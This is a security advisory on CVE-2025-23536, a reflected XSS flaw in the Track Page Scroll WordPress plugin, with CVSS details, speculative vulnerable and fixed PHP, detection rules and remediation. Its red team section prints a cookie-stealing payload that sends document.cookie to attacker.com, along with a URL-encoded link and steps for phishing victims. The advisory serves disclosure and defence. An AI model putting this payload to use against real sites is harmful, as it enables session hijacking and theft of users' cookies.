CVE-2025-23536

Executive Summary

CVE-2025-23536 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Track Page Scroll by mndpsingh287, affecting versions up to and including 1.0.2. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code via crafted URLs. With a CVSS score of 7.1 (High), this flaw can be exploited without authentication, requiring only user interaction (e.g., clicking a malicious link). Given the lack of a patch and the plugin's presence in the WordPress ecosystem, this poses a significant supply chain risk for sites using the plugin.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed through the official WordPress plugin repository. As a third-party component, it introduces a supply chain risk: site administrators who installed the plugin from the WordPress dashboard or via automatic updates are exposed until a patch is released. The plugin's author (mndpsingh287) has not provided a fix, and no official advisory from WordPress.org has been issued. Organizations should treat this as a high-priority unpatched component and consider removing or replacing the plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector (AV): Network – the vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): Required – the victim must click a crafted link.
• Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure possible.
• Integrity (I): Low – limited ability to modify content.
• Availability (A): Low – limited ability to disrupt service.

Threat Level: High. Although EPSS score is 0.0% (indicating low exploitation likelihood currently), the vulnerability is trivial to exploit and unpatched, making it a prime target for automated scanning and phishing campaigns.

Deep Dive & Mechanics

The vulnerability exists in the track-page-scroll WordPress plugin, which tracks user scroll behavior. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTTP response. Specifically, a parameter (likely page or a similar GET parameter) is echoed directly into the page without proper encoding, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. Attacker crafts a malicious URL: https://victim-site.com/?page=<script>alert('XSS')</script>
2. Victim clicks the link (e.g., via phishing email or social engineering).
3. The vulnerable plugin reflects the injected script in the response.
4. The victim's browser executes the script, enabling cookie theft, session hijacking, or redirection to malicious sites.

Root Cause: The plugin uses echo $_GET['page'] or similar without applying esc_html(), esc_attr(), or wp_kses() WordPress sanitization functions.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical fix based on standard WordPress security practices.

Vulnerable Code (likely in track-page-scroll.php):

<?php
$page = $_GET['page'];
echo "<div class='tracker' data-page='$page'>";
?>

Patched Code (recommended):

<?php
$page = isset($_GET['page']) ? esc_attr($_GET['page']) : '';
echo "<div class='tracker' data-page='" . esc_attr($page) . "'>";
?>

The fix uses esc_attr() to encode special characters, preventing script injection. Additionally, wp_kses_post() could be used if HTML is expected.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Track Page Scroll <= 1.0.2 installed and activated.
• Attacker-controlled server to capture exfiltrated data (optional).

Exploit Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Crafted URL:

https://victim-site.com/?page=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

1. URL-encode the payload for reliability:

   https://victim-site.com/?page=%3Cscript%3Efetch(%27https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie)%3C%2Fscript%3E
   

2. Send the link to the victim via email, social media, or a compromised site.
3. Monitor your server for incoming requests containing cookies.

Note: No public exploit code exists in Exploit-DB or other repositories at this time.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing <script> tags or %3Cscript%3E in query parameters.
• Use WAF rules to block reflected XSS patterns (see Detection Engineering).

Defense:

• Immediately disable or remove the Track Page Scroll plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use WordPress security plugins (e.g., Wordfence) to add virtual patching.

Indicators of Compromise (IOCs)

• URL Patterns:
  • ?page=<script>
  • ?page=%3Cscript%3E
  • ?page=alert(
• HTTP Request Headers: Unusual Referer headers pointing to attacker-controlled domains.
• Log Entries: 200 responses with text/html containing <script> tags in the body.
• File Hashes (plugin):
  • track-page-scroll.php (SHA256: UNKNOWN – obtain from WordPress.org)
• Network Traffic: Outbound connections to unknown IPs/domains from the WordPress server.

Detection Engineering

YARA Rule

rule CVE_2025_23536_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Track Page Scroll plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23536"
    strings:
        $xss_pattern1 = /[?&]page=.*<script/i
        $xss_pattern2 = /[?&]page=.*%3Cscript/i
        $xss_pattern3 = /[?&]page=.*alert\(/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Track Page Scroll Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with reflected XSS payloads targeting the Track Page Scroll plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'page=<script'
            - 'page=%3Cscript'
            - 'page=alert('
    condition: selection
falsepositives:
    - Legitimate use of script tags in query parameters (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-23536 - Reflected XSS in Track Page Scroll Plugin";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"page="; http_uri;
    pcre:"/(<script|%3Cscript|alert\()/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2025-23536;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete track-page-scroll from the WordPress admin panel.
2. Virtual Patching: Use a WAF (e.g., Cloudflare, ModSecurity) to block requests containing page=<script or page=%3Cscript.
3. User Education: Warn users not to click suspicious links, especially those containing query parameters.

Long-Term Fix:

• The vendor must release a patched version (e.g., 1.0.3) that sanitizes input using esc_attr() or wp_kses().
• Until then, consider replacing the plugin with an alternative scroll-tracking solution that is actively maintained.

Verification:

• After disabling the plugin, test the vulnerable URL to confirm the XSS no longer fires.
• Review web server logs for any prior exploitation attempts.

Valters IT